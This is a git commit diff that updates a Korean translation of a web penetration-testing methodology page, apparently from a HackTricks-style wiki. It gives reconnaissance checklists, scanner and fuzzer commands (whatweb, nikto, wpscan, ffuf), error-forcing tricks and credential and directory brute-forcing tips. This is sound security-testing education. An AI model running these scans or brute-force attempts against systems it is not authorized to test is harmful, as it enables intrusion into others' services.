Translated ['src/pentesting-web/idor.md', 'src/pentesting-web/command-in

This commit is contained in:
Translator 2025-08-28 14:23:52 +00:00
parent 9b3af9d11c
commit 5d6712f2ea
5 changed files with 309 additions and 187 deletions

View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)

View File

@ -1,8 +1,8 @@
# 80,443 - Pentesting Web Methodology
# 80,443 - Pentesting Web 방법론
{{#include ../../banners/hacktricks-training.md}}
## Basic Info
## 기본 정보
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 많은 **다양한 유형의 취약점**이 존재합니다.
@ -17,7 +17,8 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### 웹 API 가이드
### 웹 API 지침
{{#ref}}
web-api-pentesting.md
@ -25,29 +26,29 @@ web-api-pentesting.md
## 방법론 요약
> 이 방법론에서는 도메인(또는 서브도메인)을 공격할 것이라고 가정합니다. 따라서 발견된 각 도메인, 서브도메인 또는 범위 내의 불확실한 웹 서버가 있는 IP에 이 방법론을 적용해야 합니다.
> 이 방법론에서는 테스트할 대상이 도메인(또는 서브도메인) 하나만이라고 가정합니다. 따라서 스코프 내에서 발견된 각 도메인, 서브도메인 또는 웹 서버가 확정되지 않은 IP에 대해 이 방법론을 적용해야 합니다.
- [ ] **웹 서버**에서 사용되는 **기술**을 **식별**하는 것부터 시작합니다. 기술을 성공적으로 식별할 수 있다면 나머지 테스트 동안 염두에 두어야 할 **트릭**을 찾아보세요.
- [ ] 해당 기술 버전의 **알려진 취약점**이 있나요?
- [ ] **잘 알려진 기술**을 사용하고 있나요? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있나요?
- [ ] 실행할 **전문 스캐너**가 있나요(예: wpscan)?
- [ ] **일반 목적의 스캐너**를 실행하세요. 무언가를 발견할지, 흥미로운 정보를 찾을지 알 수 없습니다.
- [ ] **초기 점검**부터 시작하세요: **robots**, **sitemap**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
- [ ] 웹 페이지**스파이더링**하기 시작하세요: 가능한 모든 **파일, 폴더****사용되는 매개변수**를 **찾는** 시간입니다. 또한 **특별한 발견**을 확인하세요.
- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 합니다._
- [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 브루트 포스하여 새로운 **파일** 및 **디렉토리**를 검색하세요.
- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포스해야 합니다._
- [ ] **백업 확인**: 일반적인 백업 확장자를 추가하여 **발견된 파일**의 **백업**을 찾을 수 있는지 테스트하세요.
- [ ] **브루트 포스 매개변수**: **숨겨진 매개변수**를 **찾아보세요**.
- [ ] **사용자 입력**을 수용하는 모든 가능한 **엔드포인트**를 **식별**한 후, 관련된 모든 종류의 **취약점**을 확인하세요.
- [ ] 먼저 웹 서버에서 사용되는 **기술들**을 **식별**하세요. 기술을 성공적으로 식별할 수 있다면 이후 테스트에서 기억해둘 **요령**을 찾아보세요.
- [ ] 해당 기술 버전에 대한 **known vulnerability**가 있나요?
- [ ] 사용 중인 **well known tech**가 있나요? 추가 정보를 추출하기 위한 **useful trick**가 있나요?
- [ ] 실행할 **specialised scanner**가 있나요 (예: wpscan)?
- [ ] **general purposes scanners**를 실행하세요. 무엇을 발견할지, 흥미로운 정보를 찾을지 모릅니다.
- [ ] **initial checks**부터 시작하세요: **robots**, **sitemap**, **404** 에러 및 **SSL/TLS scan** (HTTPS인 경우).
- [ ] 웹 페이지 **spidering**을 시작하세요: 가능한 모든 **files, folders**와 사용 중인 **parameters**를 **find**할 시간입니다. 또한 **special findings**도 확인하세요.
- [ ] _새 디렉터리가 brute-forcing 또는 spidering 중에 발견되면, 해당 디렉터리는 spidered 되어야 한다는 점을 유의하세요._
- [ ] **Directory Brute-Forcing**: 새로 발견된 폴더들에 대해 새로운 **files**와 **directories**를 찾기 위해 brute force를 시도하세요.
- [ ] _새 디렉터리가 brute-forcing 또는 spidering 중에 발견되면, 해당 디렉터리는 Brute-Forced 되어야 한다는 점을 유의하세요._
- [ ] **Backups checking**: 공통 백업 확장자를 덧붙여 **discovered files**의 **backups**를 찾을 수 있는지 테스트하세요.
- [ ] **Brute-Force parameters**: 숨겨진 파라미터를 찾아보세요.
- [ ] 가능한 모든 **endpoints**가 **user input**을 받는 것을 확인한 후, 이에 관련된 모든 종류의 **vulnerabilities**를 점검하세요.
- [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md)
## 서버 버전 (취약한가?)
### 식별
실행 중인 서버 **버전**에 대한 **알려진 취약점**이 있는지 확인하세요.\
**응답의 HTTP 헤더 및 쿠키**는 사용 중인 **기술** 및/또는 **버전**을 **식별**하는 데 매우 유용할 수 있습니다. **Nmap 스캔**은 서버 버전을 식별할 수 있지만, [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) 또는 [**https://builtwith.com/**](https://builtwith.com)**와 같은 도구도 유용할 수 있습니다:**
실행 중인 서버의 **version**에 대한 **known vulnerabilities**가 있는지 확인하세요.\
응답의 **HTTP headers and cookies of the response**는 사용 중인 **technologies** 및/또는 **version**을 **identify**하는 데 매우 유용할 수 있습니다. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -56,7 +57,7 @@ webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Check if any WAF**
### **WAF가 있는지 확인**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
@ -64,7 +65,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
### 웹 기술 트릭
다양한 잘 알려진 **기술**에서 **취약점**을 찾기 위한 **트릭**:
사용 중인 다양한 잘 알려진 **기술**에서 **취약점 찾기**를 위한 몇 가지 **트릭**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -76,8 +77,9 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Git**](git.md)
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL 데이터베이스**](h2-java-sql-database.md)
- [**IIS 트릭**](iis-internet-information-services.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
@ -87,7 +89,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php에는 악용될 수 있는 흥미로운 트릭이 많음)**](php-tricks-esp/index.html)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
@ -99,19 +101,20 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_같은 도메인이 **다른 포트**, **폴더** 및 **서브도메인**에서 **다른 기술**을 사용할 수 있다는 점을 고려하세요._\
웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **다른 것**을 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!).
_같은 **도메인**이 서로 다른 **포트**, **폴더** 및 **서브도메인**에서 서로 다른 **기술**을 사용할 수 있다는 점을 고려하세요._\
웹 애플리케이션이 앞에서 나열한 잘 알려진 **기술/플랫폼** 또는 **다른 것**을 사용하고 있다면, 새로운 트릭을 **인터넷에서 검색**하는 것을 잊지 마세요(그리고 알려주세요!).
### 소스 코드 검토
### 소스 코드 리뷰
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대한 **화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
애플리케이션의 **source code**가 **github**에서 이용 가능하다면, 직접 **your own a White box test**를 수행하는 것 외에도 현재의 **Black-Box testing**에 **useful**할 수 있는 **some information**가 있습니다:
- Is there a **Change-log or Readme or Version** file or anything with **version info accessible** via web?
- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)?
- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used?
- Is it using any **master key** for encrypting something? Which **algorithm** is used?
- Can you **access any of these files** exploiting some vulnerability?
- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
- **Change-log 또는 Readme 또는 Version** 파일이나 **버전 정보에 접근 가능한** 것이 있나요?
- **자격 증명**은 어떻게 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 **파일**이 있나요(접근 가능한?)?
- **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요?
- 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
- 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**?
- **github**에 **흥미로운 정보**(해결된 문제 및 해결되지 않은 문제)가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 포함된 비밀번호**) 있나요?
{{#ref}}
code-review-tools.md
@ -119,7 +122,7 @@ code-review-tools.md
### 자동 스캐너
#### 일반 목적의 자동 스캐너
#### 범용 자동 스캐너
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -133,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 스캐너
CMS가 사용되는 경우 **스캐너를 실행하는 것을 잊지 마세요**, 아마도 흥미로운 것이 발견될 수 있습니다:
CMS를 사용하는 경우 **스캐너를 실행하는 것을 잊지 마세요**, 의외로 흥미로운 것이 발견될 수 있습니다:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제를 검사합니다. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **또는** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -146,13 +149,13 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 발견하고 스캐너를 실행했을 것입니다.
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있다면)와 테스트 중 유의할 몇 가지 요령을 이미 가지고 있어야 합니다. 운이 좋다면 CMS를 찾아 스캐너를 실행했을 수도 있습니다.
## 단계별 웹 애플리케이션 탐색
> 이 시점부터 웹 애플리케이션과 상호작용을 시작할 것입니다.
> 이 시점부터 웹 애플리케이션과 상호작용하기 시작합니다.
### 초기 점검
### 초기 확인
**흥미로운 정보가 있는 기본 페이지:**
@ -161,30 +164,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- 주요 및 보조 페이지의 댓글도 확인하세요.
- 메인 및 보조 페이지의 주석도 확인하세요.
**오류 강제 발생**
**오류 유도**
웹 서버는 이상한 데이터가 전송될 때 **예상치 못한 행동**을 할 수 있습니다. 이는 **취약점**이나 **민감한 정보의 노출**을 열 수 있습니다.
웹 서버는 이상한 데이터가 전송될 때 **예상치 못하게 동작**할 수 있습니다. 이는 **취약점**을 유발하거나 **민감한 정보의 노출**을 초래할 수 있습니다.
- /whatever_fake.php (.aspx, .html, 등)와 같은 **가짜 페이지**에 접근
- **쿠키 값****매개변수** 값에 **"\[]", "]]", 및 "\[\["** 추가하여 오류 생성
- **URL**의 **끝**에 **`/~randomthing/%s`**로 입력하여 오류 생성
- PATCH, DEBUG 또는 FAKE와 같은 **다양한 HTTP 동사** 시도
- /whatever_fake.php (.aspx,.html,.etc) 같은 **가짜 페이지**에 접근하세요
- 오류를 유발하기 위해 **cookie 값** 및 **parameter 값**에 "\[]", "]]", "\[\["를 추가하세요
- URL의 **끝**에 **`/~randomthing/%s`**를 입력하여 오류를 생성하세요
- PATCH, DEBUG 같은 다양한 **HTTP Verbs**를 시도하거나 FAKE와 같이 잘못된 것을 시도하세요
#### **파일 업로드 가능 여부 확인 (**[**PUT 동사, WebDav**](put-method-webdav.md)**)**
#### **파일 업로드 가능 여부 확인 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**에 대한 충분한 권한이 없는 경우 다음을 시도하세요:
WebDav가 **enabled**되어 있지만 루트 폴더에 **파일 업로드** 권한이 충분하지 않다면 다음을 시도하세요:
- **자격 증명** 무작위 대입
- 웹 페이지 내에서 **발견된 폴더**의 **나머지**에 WebDav를 통해 **파일 업로드**. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다.
- 자격 증명에 대해 **Brute Force**
- 웹 페이지 내 발견된 다른 폴더들에 WebDav를 통해 **파일을 업로드**하세요. 다른 폴더에는 업로드 권한이 있을 수 있습니다.
### **SSL/TLS 취약점**
- 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약**합니다.
- 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다.
- 애플리케이션이 어느 부분에서도 HTTPS 사용을 강제하지 않으면 **MitM에 취약**합니다
- 애플리케이션이 **민감한 데이터(비밀번호)를 HTTP로 전송**한다면 이는 심각한 취약점입니다.
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있음) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용**취약점**을 확인하세요 (Bug Bounty 프로그램에서는 이런 종류의 취약점이 인정되지 않을 수 있음) 그리고 취약점을 다시 확인하려면 [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -193,63 +196,63 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port>
sslyze --regular <ip:port>
```
SSL/TLS 취약점에 대한 정보:
Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### 스파이더링
### Spidering
웹 내에서 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
웹 내부에 어떤 종류의 **spider**를 실행하세요. spider의 목적은 테스트 중인 애플리케이션에서 가능한 한 많은 경로를 찾는 것입니다. 따라서 웹 크롤링과 외부 소스를 사용해 가능한 많은 유효한 경로를 찾아야 합니다.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색.
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
- [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 있는 URL을 찾아 나열합니다.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 정규 표현식을 사용하여 상대 URL을 추출합니다.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
- [**subjs**](https://github.com/lc/subjs) (go): JS 파일 찾기.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 사용된 모든 URL을 인쇄합니다.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상을 위한 엔드포인트를 발견하는 데 사용되는 도구입니다.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견하고 응답을 다운로드하여 더 많은 링크를 찾습니다.
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성까지 크롤링하고 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 JavaScript 소스 코드에서 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다.
- [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS 파일에서 LinkFinder를 사용하고 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)를 참조합니다.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS 파일에는 LinkFinder를 사용하고 Archive.org를 외부 소스로 사용합니다.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider이며 "juicy files"를 표시하기도 합니다.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML spider. 또한 Archive.org를 검색합니다.
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 엄밀히 말해 spider는 아니지만 유용할 수 있습니다. 호스트 목록 파일과 경로 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능을 가진 HTML spider. 다만 유지보수가 안 되고, 사전 컴파일된 버전이 오래되었으며 현재 코드는 컴파일되지 않습니다.
- [**gau**](https://github.com/lc/gau) (go): 외부 제공자(wayback, otx, commoncrawl)를 사용하는 HTML spider입니다.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 파라미터가 있는 URL을 찾아 목록화하는 스크립트입니다.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능을 가진 HTML spider입니다.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider이며 JS beautify 기능을 갖추어 JS 파일에서 새로운 경로를 검색할 수 있습니다. LinkFinder의 래퍼인 [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 임베디드 자바스크립트 파일에서 엔드포인트를 추출합니다. bug hunters, red teamers, infosec ninjas에게 유용합니다.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용해 JavaScript 파일에서 상대 URL을 파싱하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지보수되지 않는 것으로 보입니다.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 입력하면 정교한 정규식으로 난독(minify) 파일에서 상대 URL을 찾아 추출합니다.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용 JS 파일에서 흥미로운 정보를 수집합니다.
- [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지 로드 시 로드되는 모든 URL을 출력합니다.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구들의 여러 옵션을 혼합한 콘텐츠 디스커버리 도구입니다.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 파라미터를 찾는 Burp extension입니다.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL이 주어지면 정리된 JS 코드를 가져오는 도구입니다.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 발견하는 도구입니다.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine에서 링크를 발견하고(또한 wayback에서 응답을 다운로드하고 더 많은 링크를 찾습니다)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 크롤링(심지어 폼 채우기 포함)하고 특정 정규식으로 민감한 정보를 찾아냅니다.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 Crawler/Spider입니다.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하는 Go 패키지이자 [명령행 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 파라미터와 엔드포인트를 추출하여 fuzzing과 열거를 위한 커스텀 워드리스트를 만드는 간단한 **Burp Suite extension**입니다.
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 적합한 훌륭한 도구입니다.
- [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 출력합니다.
### 디렉토리 및 파일에 대한 무차별 대입
### Brute Force directories and files
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**으로 발견된 **모든** **디렉토리**와 **스파이더링**에 의해 **발견된** 모든 디렉토리를 무차별 대입해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
루트 폴더에서 **brute-forcing**을 시작하고 이 **방법(this method)**으로 찾은 모든 **디렉토리**와 **Spidering**으로 발견된 모든 디렉토리를 반드시 brute-force 하세요(이 작업은 **재귀적으로(recursively)** 수행할 수 있으며, 사용한 워드리스트의 앞부분에 발견한 디렉토리 이름을 추가해서 실행할 수 있습니다).\
도구:
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 허용합니다.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀적** 검색이 **없습니다**.
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며 **오래된(old)** (그리고 **느린(slow)**) 도구이지만 동작합니다. 자동 서명된 인증서 허용 및 재귀 검색을 지원합니다. 다른 옵션들에 비해 너무 느립니다.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 지원합니다.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀(recursive)** 검색은 **지원하지 않습니다**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제하는 도구입니다.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하는 Burp 확장입니다.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(기반 js 가져오기).
- [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다.
- [**uro**](https://github.com/s0md3v/uro) (python): 발견된 URL 목록을 받아 "중복" URL을 제거하는 도구입니다.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 히스토리에서 여러 페이지의 디렉토리 목록을 만드는 Burp Extension입니다.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js 임포트를 기반으로 중복 기능을 가진 URL을 제거합니다.
